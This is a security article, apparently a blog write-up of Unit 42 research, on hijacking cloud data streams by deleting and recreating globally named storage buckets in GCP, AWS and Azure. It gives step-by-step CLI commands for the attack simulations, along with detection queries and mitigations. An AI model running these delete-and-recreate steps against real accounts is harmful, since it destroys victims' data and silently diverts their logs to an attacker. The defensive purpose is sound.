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Introduction:
Cloud storage bucket names are globally unique by design, a convenience that simplifies data routing but also creates a dangerous shared namespace risk. Unit 42 researchers have uncovered a bucket hijacking technique that allows attackers to silently reroute sensitive data streams—including logs, messages, and transfer jobs—to external accounts by simply deleting a target bucket and recreating it with the same name. This silent redirection makes detection exceptionally challenging, as the original data stream configurations remain intact while data flows directly to the attacker’s environment.
Learning Objectives:
- Understand the architectural flaw behind globally unique bucket names and how it enables silent data exfiltration across AWS, GCP, and Azure
- Learn step‑by‑step attack simulations against Google Cloud Logging, Pub/Sub, Storage Transfer Service, and AWS S3 Replication
- Master mitigation strategies including least‑privilege IAM, data perimeter controls, and detection techniques to protect your cloud infrastructure
- The Global Namespace Risk: Why Your Bucket Name Is a Liability
Cloud providers design storage bucket names to be unique across their entire global infrastructure—no two users can have the same bucket name. This simplifies data stream establishment by providing a single, predictable target. However, it also means a destination’s identity is tied solely to its name, rather than to an immutable account owner.
Attackers exploit this by first compromising an environment and securing permissions to delete a target bucket. They then delete the original bucket and immediately recreate it with the same name under their own account. Data streams—including cloud logging sinks, Pub/Sub subscriptions, and Storage Transfer jobs—continue routing data to the bucket name, now controlled by the attacker.
Key permissions required for the attack:
- Google Cloud: `storage.objects.delete` and `storage.bucket.delete`
– AWS: `DeleteBucket` permission - Azure: `Microsoft.Storage/storageAccounts/delete`
How to check bucket permissions:
Google Cloud - check IAM policies on a bucket gsutil iam get gs://BUCKET_NAME AWS - list bucket policies aws s3api get-bucket-policy --bucket BUCKET_NAME Azure - view storage account permissions az role assignment list --scope /subscriptions/SUB_ID/resourceGroups/RG/providers/Microsoft.Storage/storageAccounts/ACCOUNT_NAME
- Simulating the Attack: Google Cloud Logging Sink Hijacking
Google Cloud Logging sinks route log entries to destinations including Cloud Storage buckets. Unit 42 simulated a hijack where an attacker with `storage.objects.delete` and `storage.bucket.delete` permissions deleted the destination bucket and recreated it in their own account.
Step‑by‑step attack simulation:
- Identify the target sink — Locate a logging sink that exports to a GCS bucket:
gcloud logging sinks list --project=VICTIM_PROJECT
-
Empty the bucket — Delete all objects to enable bucket removal:
gsutil rm -r gs://VICTIM_BUCKET_NAME/
3. Delete the original bucket:
gsutil rb gs://VICTIM_BUCKET_NAME
4. Recreate the bucket in attacker’s project:
gsutil mb gs://VICTIM_BUCKET_NAME --project=ATTACKER_PROJECT
- Verify data redirection — Logs now flow to the attacker‑controlled bucket. The sink configuration appears valid upon inspection, making detection highly difficult.
Detection command—monitor bucket deletion events:
Google Cloud - search audit logs for bucket deletions gcloud logging read "protoPayload.methodName=storage.buckets.delete" --project=VICTIM_PROJECT
- Pub/Sub and Storage Transfer Service: Expanding the Attack Surface
The hijacking technique extends beyond logging to other GCP services.
Pub/Sub Hijack Simulation:
Pub/Sub subscriptions can be configured to write messages to a GCS bucket. Attackers delete the destination bucket and recreate it externally.
Simulation steps:
- Create a Pub/Sub topic and subscription linked to a GCS bucket
- Configure bucket permissions for the service agent (
roles/storage.objectCreator,roles/storage.legacyBucketReader) - Publish a test message to verify delivery to the original bucket
- Delete the bucket and recreate it in an attacker project
- Publish another message—it now arrives in the attacker’s bucket
Storage Transfer Service Hijack:
Storage Transfer Service moves data between sources and destinations. Deleting and recreating the destination bucket redirects transferred objects.
Prerequisites for mitigation—audit service account permissions:
Check Storage Transfer Service job configuration gcloud transfer jobs list --project=VICTIM_PROJECT Review IAM bindings for storage transfer gcloud projects get-iam-policy VICTIM_PROJECT --flatten="bindings[].members" --filter="bindings.role=roles/storagetransfer.admin"
- AWS S3 Replication and Amazon Data Firehose: Cross‑Provider Exploitation
The architectural flaw is not exclusive to Google Cloud. Unit 42 successfully simulated the attack using AWS S3 bucket replication.
AWS Attack Simulation Steps:
- Create a replication rule targeting a destination bucket within the same account
2. Delete the destination bucket:
Empty the bucket first aws s3 rm s3://DESTINATION_BUCKET --recursive Delete the bucket aws s3 rb s3://DESTINATION_BUCKET
3. Recreate the bucket in an external account with the same name
4. Upload a file to the source bucket:
aws s3 cp test.txt s3://SOURCE_BUCKET/
5. Observe the file appearing in the external account’s bucket
The same technique applies to Amazon Data Firehose where the destination is an S3 bucket.
AWS detection—monitor bucket deletion events:
Query CloudTrail for DeleteBucket events aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=DeleteBucket
5. Azure Cross‑Subscription Data Exfiltration
Azure has platform limitations that prevent immediate reuse of storage account names across different tenants for several days after deletion. However, Unit 42 demonstrated a cross‑subscription attack.
Azure Attack Vector:
Diagnostic settings in Azure Monitor can export resource logs to a storage account. While the configuration stores the destination via ARM Resource ID, the internal pipeline resolves the storage account at runtime using its DNS name ({accountname}.blob.core.windows.net).
Simulation steps:
- Configure diagnostic settings to export logs to a storage account
- Delete the storage account with soft‑delete disabled to release the name
- Recreate the storage account with the same name in a different subscription within the same tenant
- The diagnostic pipeline continues writing logs to the attacker‑controlled storage account
Azure detection—monitor storage account deletions:
PowerShell - query Activity Log for storage account deletions
Get-AzActivityLog -ResourceGroupName "RG_NAME" | Where-Object {$_.OperationName -eq "Microsoft.Storage/storageAccounts/delete"}
Azure CLI - list deletion events az monitor activity-log list --query "[?operationName.value=='Microsoft.Storage/storageAccounts/delete']"
- Mitigation Strategies: Building a Defense Against Bucket Hijacking
Unit 42 recommends a two‑pronged approach: preventative guardrails and proactive monitoring.
Prevention:
- Enforce least privilege IAM — Restrict `storage.buckets.delete` (GCP), `DeleteBucket` (AWS), and `Microsoft.Storage/storageAccounts/delete` (Azure) to a minimal set of administrative roles.
2. Deploy data perimeter controls:
- Google Cloud: VPC Service Controls define security perimeters blocking API calls to Cloud Storage buckets outside the perimeter
- AWS: Data perimeter policies via SCPs and VPC endpoint policies ensure workloads cannot write to external S3 buckets
- Azure: Use Azure Policy to restrict storage account creation to approved subscriptions
- Enable AWS account regional namespaces — AWS offers account‑regional namespaces that scope bucket names to the owning account and region, directly eliminating the hijacking vector.
Detection:
Implement robust monitoring that alerts on storage deletion API calls, prioritizing high‑value sensitive assets.
GCP monitoring example—create a log‑based alert for bucket deletions:
gcloud logging sinks create bucket-deletion-alert \ storage.googleapis.com/projects/VICTIM_PROJECT/topics/alert-topic \ --log-filter='protoPayload.methodName="storage.buckets.delete"'
AWS CloudWatch alert for S3 bucket deletions:
{
"source": ["aws.s3"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventSource": ["s3.amazonaws.com"],
"eventName": ["DeleteBucket"]
}
}
7. The Over‑Privileged Role Problem
Cloud providers frequently offer broad storage administration roles that grant wide‑reaching deletion privileges by default. In Google Cloud, the common storage admin role provides `storage.buckets.delete` but does not include granular permissions to modify data stream configurations like logging.sinks.update, pubsub.subscriptions.update, or storagetransfer.jobs.update.
This means an attacker with storage admin privileges can hijack data streams without needing the specific update permissions that would normally be required to redirect them. Organizations must audit all storage admin role assignments and migrate to least‑privilege custom roles where possible.
Audit over‑privileged roles in GCP:
List all members with storage admin role gcloud projects get-iam-policy VICTIM_PROJECT \ --flatten="bindings[].members" \ --filter="bindings.role=roles/storage.admin"
What Undercode Say:
- Silent data exfiltration is the real threat — Because data streams operate autonomously and sink configurations appear valid, organizations may not detect hijacking for weeks or months. The configure‑and‑forget approach to data streams is a critical weakness.
-
Architecture defines the security boundary — Fundamental design choices made by cloud providers directly influence security boundaries. The global uniqueness of bucket names is a convenience that creates a systemic vulnerability across all major CSPs.
-
Cross‑cloud exploitation is a blueprint — A design flaw discovered in one provider can be a blueprint for exploiting another. Security teams must adopt a cloud‑agnostic mindset and apply lessons learned across all platforms.
-
Over‑privileged storage roles are the enabler — Storage administrators can bypass granular update permissions through bucket deletion. Restricting deletion permissions to minimal roles is the single most effective prevention measure.
-
Detection requires proactive monitoring — Organizations must prioritize alerts on storage deletion API calls, especially for high‑value sensitive assets. Data Security Posture Management (DSPM) capabilities are essential for prioritizing monitoring at scale.
Prediction:
-
+1 This research will accelerate cloud provider adoption of account‑scoped namespaces, similar to AWS’s regional namespaces, eliminating the hijacking vector at the architectural level.
-
+1 Security teams will increasingly adopt data perimeter controls (VPC Service Controls, SCPs) as baseline protections, making cross‑account data exfiltration significantly harder.
-
-1 Attackers will weaponize this technique in the wild within 12‑18 months, targeting organizations with over‑privileged storage roles and unattended data streams.
-
-1 The silent nature of this attack means many successful hijacks will go undetected until data breaches are discovered through unrelated incidents, prolonging attacker dwell time.
-
+1 CSPs will develop native detection and prevention mechanisms for bucket hijacking, integrating them into their security posture management tools.
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